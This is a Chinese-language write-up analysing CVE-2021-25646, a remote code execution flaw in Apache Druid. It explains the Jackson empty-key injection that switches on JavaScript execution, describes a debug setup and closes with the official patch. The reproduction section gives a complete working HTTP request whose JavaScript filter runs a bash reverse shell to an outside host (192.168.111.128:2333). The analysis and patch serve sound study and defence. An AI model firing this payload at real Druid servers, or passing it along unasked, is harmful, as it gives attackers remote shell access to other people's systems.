CVE-2021-25646 Apache Druid 远程代码执行漏洞分析

 

前置知识

Druid

Apache Druid 是用 Java 编写的面向列的开源分布式数据存储, 通常用于商业智能/ OLAP 应用程序 中,以分析大量的实时和历史数据。

Druid提供了JavaScript引擎用来扩展Druid的功能,值得注意的是,Druid的JavaScript不在沙盒中运行,而对机器有完全的访问权限,同时支持运行原生java语句,存在安全性问题,所以默认被关闭了。

https://druid.apache.org/docs/latest/development/javascript.html

Jackson

Jackson是一个非常流行且高效的基于Java的库,用于将Java对象序列化或映射到JSON和XML,也可以将JSON和XML转换为Java对象。在Druid也有对其的依赖。

在这个漏洞中利用了Jackson的一个(特性)BUG

这个Bug出在Jackson的两个注释上

  1. @JsonCreator在于对用JsonCreator注解修饰的方法来说,方法的所有参数都会解析成CreatorProperty类型,对于没有使用JsonProperty注解修饰的参数来说,会创建一个name为””的CreatorProperty,在用户传入键为””的json对象时就会被解析到对应的参数上。
  2. @JacksonInject
    假设json字段有一些缺少的属性,抓换成实体类的时候没有的属性将为null,但是我们在某些需求当中需要将为null的属性都设置为默认值,这时候我们就可以用到这个注解了,它的功能就是在反序列化的时候将没有的字段设置为我们设置好的默认值。

具体可以编写下面的示例代码

package com.example.demo;


import com.fasterxml.jackson.annotation.JacksonInject;
import com.fasterxml.jackson.annotation.JsonCreator;
import com.fasterxml.jackson.annotation.JsonProperty;
import com.fasterxml.jackson.core.JsonProcessingException;
import com.fasterxml.jackson.databind.ObjectMapper;


public class DemoApplication {

    public static void main(String[] args) throws JsonProcessingException {

        String json= "{\"name\":\"Jack\",\"\":\"Nofield\"}";

        ObjectMapper mapper = new ObjectMapper();
        Student result = mapper.readValue(json, Student.class);
        System.out.print(mapper.writeValueAsString(result));
    }

}

class Student {
    @JsonCreator
    public Student(
            @JsonProperty("name")String name,
            @JacksonInject String id
    ){
        this.name=name;
        this.id=id;
    }

    private String id;
    private String name;
    public String getName() {return name;}

    public String getId() {return id;}
    public void setId(String id) {this.id = id;}

}

运行输出

{"name":"Jack","id":"Nofield"}

可以看到json串中键为空的值被赋值到了id属性上,这是因为JsonCreatorid设置的键为空,JsonInjectjson串中空键对应的值Nofield赋给了id

 

环境搭建

这里通过idea进行远程调试

在官网下载编译好的版本19.0

https://mirrors.bfsu.edu.cn/apache/druid/0.19.0/apache-druid-0.19.0-bin.tar.gz

并在github上下载版本对应的源码

https://codeload.github.com/apache/druid/zip/druid-0.19.0

此处我们要调试的druidcoordinator-overlord模块,使用最小快速启动方式

/apache-druid-0.19.0/conf/druid/single-server/micro-quickstart/coordinator-overlord

jvm.config最后加上

-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005

idea中加上远程调试配置

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

运行服务端程序

./bin/start-micro-quickstart

就可以开始愉快地下断点调试了

 

漏洞分析

寻找漏洞点

druid官网关于javascript的利用中我们可以找到filiter中的利用https://druid.apache.org/docs/latest/querying/filters.html#javascript-filter

可以找到网页上的相关功能点,抓包如下

POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
Host: 192.168.111.3:8888
Content-Length: 11180
Accept: application/json, text/plain, */*
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.111.3:8888
Referer: http://192.168.111.3:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{
    "type": "index",
    "spec": {
        "ioConfig": {
            "type": "index",
            "inputSource": {
                "type": "inline",
                "data": "",
            },
            "inputFormat": {
                "type": "json",
                "keepNullColumns": true
            }
        },
        "dataSchema": {
            "dataSource": "sample",
            "timestampSpec": {
                "column": "timestamp",
                "format": "iso"
            },
            "dimensionsSpec": {},
            "transformSpec": {
                "transforms": [],
                "filter": {
                    "type": "selector",
                    "dimension": "1",
                    "value": "1"
                }
            }
        },
        "type": "index",
        "tuningConfig": {
            "type": "index"
        }
    },
    "samplerConfig": {
        "numRows": 500,
        "timeoutMs": 15000
    }
}

通过分析数据包结构,我们找到了transformSpec

定位到filiterDimFilter类,

同文档中描述的那样filiter支持javascript

于是我们定位到

根据前置知识,可以发现此处的config可以通过空键值注入,继续跟这个config

发现这里设置了JavaScript是否被开启,那么我们此处就可以直接绕过限制,开启javascript

 

漏洞复现

我们修改之前发过的post构造一个filiter,就可以完成RCE了,

"filter":{"type": "javascript",
                                        "function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.111.128/2333 0>&1')}",
                                        "dimension": "added",
                                        "": {
                                                "enabled": "true"
                                        }
                                }

这里直接写java反弹shell语句

完整报文

POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
Host: 192.168.111.3:8888
Content-Length: 992
Accept: application/json, text/plain, */*
DNT: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://192.168.111.3:8888
Referer: http://192.168.111.3:8888/unified-console.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","inputSource":{"type":"http","uris":["https://druid.apache.org/data/example-manifests.tsv"]},"inputFormat":{"type":"tsv","findColumnsFromHeader":true}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"timestamp","missingValue":"2010-01-01T00:00:00Z"},"dimensionsSpec":{},"transformSpec":{"transforms":[],"filter":{"type": "javascript",
                                        "function": "function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.111.128/2333 0>&1')}",
                                        "dimension": "added",
                                        "": {
                                                "enabled": "true"
                                        }
                                }
                        }
  },"type":"index","tuningConfig":{"type":"index"}},"samplerConfig":{"numRows":50,"timeoutMs":10000}}

具体json转换过程可以com.fasterxml.jackson.databind.deser.BeanDeserializer_deserializeUsingPropertyBased定位到

image-20210324174635820

此时对propName:spec进行反序列化,不断断点跟踪,可以看到反序列完空键值对应的键后,config.enabled被赋值为true

image-20210324175315330

绕过此处限制

image-20210324175811215

成功运行poc

接收到shell

image-20210324174206716

修复思路

官方的修复思路是在任何情况下都不允许空键值被传入赋值,重写了方法findPropertyIgnorals

  /**
   * This method is used to find what property to ignore in deserialization. Jackson calls this method
   * per every class and every constructor parameter.
   *
   * This implementation returns a {@link JsonIgnoreProperties.Value#empty()} that allows empty names if
   * the parameters has the {@link JsonProperty} annotation. Otherwise, it returns
   * {@code JsonIgnoreProperties.Value.forIgnoredProperties("")} that does NOT allow empty names.
   * This behavior is to work around a bug in Jackson deserializer (see the below comment for details) and
   * can be removed in the future after the bug is fixed.
   * For example, suppose a constructor like below:
   *
   * <pre>{@code
   * @JsonCreator
   * public ClassWithJacksonInject(
   *   @JsonProperty("val") String val,
   *   @JacksonInject InjectedParameter injected
   * )
   * }</pre>
   *
   * During deserializing a JSON string into this class, this method will be called at least twice,
   * one for {@code val} and another for {@code injected}. It will return {@code Value.empty()} for {@code val},
   * while {Value.forIgnoredProperties("")} for {@code injected} because the later does not have {@code JsonProperty}.
   * As a result, {@code injected} will be ignored during deserialization since it has no name.
   */
  @Override
  public JsonIgnoreProperties.Value findPropertyIgnorals(Annotated ac)
  {
    // We should not allow empty names in any case. However, there is a known bug in Jackson deserializer
    // with ignorals (_arrayDelegateDeserializer is not copied when creating a contextual deserializer.
    // See https://github.com/FasterXML/jackson-databind/issues/3022 for more details), which makes array
    // deserialization failed even when the array is a valid field. To work around this bug, we return
    // an empty ignoral when the given Annotated is a parameter with JsonProperty that needs to be deserialized.
    // This is valid because every property with JsonProperty annoation should have a non-empty name.
    // We can simply remove the below check after the Jackson bug is fixed.
    //
    // This check should be fine for so-called delegate creators that have only one argument without
    // JsonProperty annotation, because this method is not even called for the argument of
    // delegate creators. I'm not 100% sure why it's not called, but guess it's because the argument
    // is some Java type that Jackson already knows how to deserialize. Since there is only one argument,
    // Jackson perhaps is able to just deserialize it without introspection.
    if (ac instanceof AnnotatedParameter) {
      final AnnotatedParameter ap = (AnnotatedParameter) ac;
      if (ap.hasAnnotation(JsonProperty.class)) {
        return JsonIgnoreProperties.Value.empty();
      }
    }

    return JsonIgnoreProperties.Value.forIgnoredProperties("");
  }

具体可见 https://github.com/apache/druid/compare/0.20.0…0.20.1

(完)